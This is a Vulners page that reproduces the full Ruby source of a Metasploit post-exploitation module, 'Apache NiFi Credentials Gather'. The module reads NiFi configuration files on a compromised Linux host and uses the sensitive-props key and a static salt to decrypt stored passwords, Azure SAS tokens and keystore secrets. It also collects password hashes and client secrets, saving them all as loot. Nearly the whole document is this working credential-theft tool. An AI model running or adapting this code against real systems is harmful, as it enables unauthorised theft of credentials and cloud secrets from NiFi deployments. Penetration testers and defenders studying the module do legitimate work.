Lucene search
K

Apache NiFi Credentials Gather

🗓️ 08 Nov 2023 19:50:44Reported by h00die, TopacoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 966 Views

This module will grab Apache NiFi credentials from various files on Linux

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache NiFi Credentials Gather',
        'Description' => %q{
          This module will grab Apache NiFi credentials from various files on Linux.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
          'Topaco', # crypto assist
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],
          ['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),
        OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),
        OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),
        OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),
        OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),
        OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])
      ]
    )
  end

  def authorizers_file
    return @authorizers_file if @authorizers_file

    [datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found authorizers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @authorizers_file = f
      break
    end
    @authorizers_file
  end

  def identity_file
    return @identity_file if @identity_file

    [datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found login-identity-providers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @identity_file = f
      break
    end
    @identity_file
  end

  def properties_file
    return @properties_file if @properties_file

    [datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found nifi.properties file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @properties_file = f
      break
    end
    @properties_file
  end

  def flow_file
    return @flow_file if @flow_file

    [datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found flow.json.gz file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @flow_file = f
      break
    end
    @flow_file
  end

  def salt
    'NiFi Static Salt'
  end

  def process_type_azure_storage_credentials_controller_service(name, service)
    table_entries = []
    storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])
    return table_entries if storage_account_name.nil?

    storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)

    # this is optional
    if service['managed-identity-client-id']
      client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])
      return table_entries if client_id.nil?

      client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)
    else
      client_id_decrypt = ''
    end

    sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])
    return table_entries if sas_token.nil?

    sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)

    information = "storage-account-name: #{storage_account_name_decrypt}"
    information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']
    table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"

    @flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?
    table_entries << [name, table_username, sas_token_decrypt, information]
    table_entries
  end

  # This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.
  # we may miss grouping some fields together, but its better to print them out than do nothing with them.
  def process_type_generic(name, processor)
    table_entries = []
    processor.each do |property|
      property_name = property[0]
      property_value = property[1]
      next unless property_value.is_a? String
      next unless property_value.starts_with? 'enc{'

      password = parse_aes_256_gcm_enc_string(property_value)
      next if password.nil?

      password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
      table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]
      @flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)
    end
    table_entries
  end

  def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)
    table_entries = []
    return table_entries unless processor['Password']

    username = processor['Username']
    url = processor['URL']
    password = parse_aes_256_gcm_enc_string(processor['Password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "URL: #{url}"]
    @flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)
    table_entries
  end

  def process_type_standard_restricted_ssl_context_service(controller_properties)
    table_entries = []
    if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']
      name = 'Keystore'
      username = controller_properties['Keystore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, '']
        @flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)
      end
    end

    if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']
      name = 'Truststore'
      username = controller_properties['Truststore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
        @flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)
      end
    end

    return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']

    name = 'Key Password'
    username = controller_properties['Truststore Filename']
    password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
    @flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)

    table_entries
  end

  def decrypt_aes_256_gcm(enc_fields, key)
    vprint_status('    Decryption initiated for AES-256-GCM')
    vprint_status("      Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")
    cipher = OpenSSL::Cipher.new('AES-256-GCM')
    cipher.decrypt
    cipher.key = key
    cipher.iv_len = 16
    cipher.iv = [enc_fields[:nonce]].pack('H*')
    cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')

    decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))
    decrypted_text << cipher.final
    decrypted_text
  end

  def parse_aes_256_gcm_enc_string(password)
    password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end
    password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields
  end

  def run
    unless (flow_file && properties_file) || identity_file
      fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')
    end

    properties = read_file(properties_file)
    path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')
    print_good("properties data saved in: #{path}")
    key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?
    print_good("Key: #{key}")
    # https://rubular.com/r/N0w0WHTjjdKXHZ
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#property-encryption-algorithms
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#java-cryptography-extension-jce-limited-strength-jurisdiction-policies
    algorithm = properties.scan(/^nifi.sensitive.props.algorithm=([\w-]+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?

    columns = ['Name', 'Username', 'Password', 'Other Information']
    table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)

    if flow_file
      flow_json = Zlib.gunzip(read_file(flow_file))

      path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')
      print_good("Original data containing encrypted fields saved in: #{path}")

      flow_json = JSON.parse(flow_json)
      @flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well

      # NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0
      # leave this as an if statement so it can be expanded to include more algorithms in the future
      if algorithm == 'NIFI_PBKDF2_AES_GCM_256'
        # https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f
        @decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))

        vprint_status('Checking root group processors')
        flow_json.dig('rootGroup', 'processors').each do |processor|
          vprint_status("  Analyzing #{processor['processor']} of type #{processor['type']}")
          case processor['type']
          when 'org.apache.nifi.processors.standard.GetHTTP'
            table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])
          else
            table_entries = process_type_generic(processor['name'], processor['properties'])
          end
          table.rows.concat table_entries
        end

        vprint_status('Checking root group controller services')
        flow_json.dig('rootGroup', 'controllerServices').each do |service|
          vprint_status("  Analyzing #{service['name']} of type #{service['type']}")
          case service['type']
          when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',
            'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'
            table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])
          when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'
            table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])
          else
            table_entries = process_type_generic(service['name'], service['properties'])
          end
          table.rows.concat table_entries
        end

      else
        print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")
      end

      unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything
        path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')
        print_good("Decrypted data saved in: #{path}")
      end
    end

    vprint_status('Checking identity file')
    if identity_file
      identity_content = read_file(identity_file)
      xml = Nokogiri::XML.parse(identity_content)

      xml.xpath('//loginIdentityProviders//provider').each do |c|
        name = c.xpath('identifier').text
        username = c.xpath('property[@name="Username"]').text
        hash = c.xpath('property[@name="Password"]').text
        next if username.blank? || hash.blank?

        table << [name, username, hash, 'From login-identity-providers.xml']

        credential_data = {
          jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
          origin_type: :session,
          post_reference_name: refname,
          private_type: :nonreplayable_hash,
          private_data: hash,
          session_id: session_db_id,
          username: username,
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
      end
    end

    vprint_status('Checking authorizers file')
    if authorizers_file
      authorizers_content = read_file(authorizers_file)
      xml = Nokogiri::XML.parse(authorizers_content)

      xml.xpath('//authorizers//userGroupProvider').each do |c|
        next if c.xpath('property[@name="Client Secret"]').text.blank?

        name = c.xpath('identifier').text
        username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \
                   ", Application ID: #{c.xpath('property[@name="Application ID"]').text}"
        password = c.xpath('property[@name="Client Secret"]').text
        next if username.blank? || hash.blank?

        table << [name, username, password, 'From authorizers.xml']
      end
    end

    if !table.rows.empty?
      print_good('NiFi Flow Values')
      print_line(table.to_s)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation